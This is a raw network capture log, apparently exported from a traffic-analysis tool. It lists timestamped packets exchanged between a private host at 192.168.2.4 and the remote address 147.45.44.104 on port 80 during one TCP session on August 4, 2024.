Aug 4, 2024 02:21:37.306694031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307009935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307041883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307055950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307073116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307077885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307105064 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307110071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307137012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307141066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307168007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307172060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307200909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307204008 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307233095 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307236910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307265043 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307269096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307296991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307301044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307328939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307338953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307359934 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307367086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307393074 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307398081 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307430029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307833910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307866096 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307887077 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307898045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307907104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307929039 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307934046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307961941 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.307970047 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.307992935 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308005095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308024883 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308024883 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308053017 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308064938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308084011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308089972 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308116913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308121920 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308147907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308154106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308181047 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308188915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308212996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308218956 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308245897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308249950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308283091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308644056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308674097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308686018 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308691025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308708906 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308712959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308723927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308725119 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308741093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308752060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308763981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308765888 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308773041 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308780909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308798075 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308803082 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308814049 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308814049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308830976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308830976 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308849096 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308854103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308868885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308870077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308886051 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.308891058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308903933 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.308921099 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309566021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309581995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309597969 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309607029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309613943 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309626102 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309632063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309638023 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309648991 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309659004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309665918 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309668064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309685946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309695005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309887886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309900999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.309926033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.309946060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310026884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310041904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310055971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310066938 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310071945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310081005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310095072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310095072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310111046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310112000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310129881 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310132980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310146093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310152054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310163975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310164928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310175896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310203075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310497999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310511112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310524940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310538054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310542107 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.310569048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310569048 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.310580969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.342479944 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.342519999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.342536926 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.342551947 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.342571020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.342570066 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.342592001 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.342609882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.342612028 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.342623949 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.342633009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.342653036 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.342679977 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.392652988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392671108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392695904 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392712116 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392725945 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392741919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392748117 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.392784119 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.392793894 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.392843008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392858982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392874956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392888069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.392891884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.392911911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.392930031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393038988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393054008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393068075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393080950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393102884 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393135071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393151045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393165112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393176079 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393179893 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393187046 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393197060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393208981 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393213987 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393224955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393249989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393249989 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393506050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393560886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393580914 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393594027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393620968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393635035 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393738031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393753052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393768072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393779993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393781900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393796921 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393810987 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393822908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393826962 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393838882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393853903 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393862963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393868923 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393877029 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393886089 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393894911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393902063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393910885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393918037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393927097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393934011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393943071 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393949986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393960953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393966913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.393976927 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.393994093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394011974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394438982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394455910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394485950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394499063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394522905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394540071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394562960 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394579887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394690990 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394706011 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394721031 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394735098 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394737959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394752979 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394759893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394778967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394800901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.394975901 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.394989967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395004988 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395018101 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395019054 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395031929 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395035982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395049095 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395062923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395081043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395262003 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395277023 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395292044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395306110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395308971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395318985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395320892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395349979 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395374060 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395567894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395590067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395605087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395620108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395626068 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395637035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395649910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395654917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395665884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395673037 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395684004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.395694971 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395709991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.395726919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396044016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396085978 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396092892 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396102905 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396119118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396125078 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396135092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396142006 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396151066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396152020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396167994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396178961 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396183968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396192074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396199942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396203995 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396217108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396219969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396236897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396254063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396589041 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396605015 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396620035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396635056 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396636009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396651983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396653891 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396661997 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396696091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396696091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396717072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396733046 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396747112 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396754980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396761894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396764994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396779060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396784067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396795034 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396796942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396811008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396816015 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396827936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396832943 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396843910 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396848917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396859884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.396862030 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396879911 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.396894932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397445917 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397461891 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397475958 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397490025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397491932 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397505999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397510052 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397521973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397531033 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397536993 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397558928 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397558928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397584915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397607088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397787094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397800922 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397829056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397841930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397917986 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397933960 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397948027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397962093 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397964001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397974014 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:37.397979021 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:37.397994041 CEST	80	49757	147.45.44.104	192.168.2.4
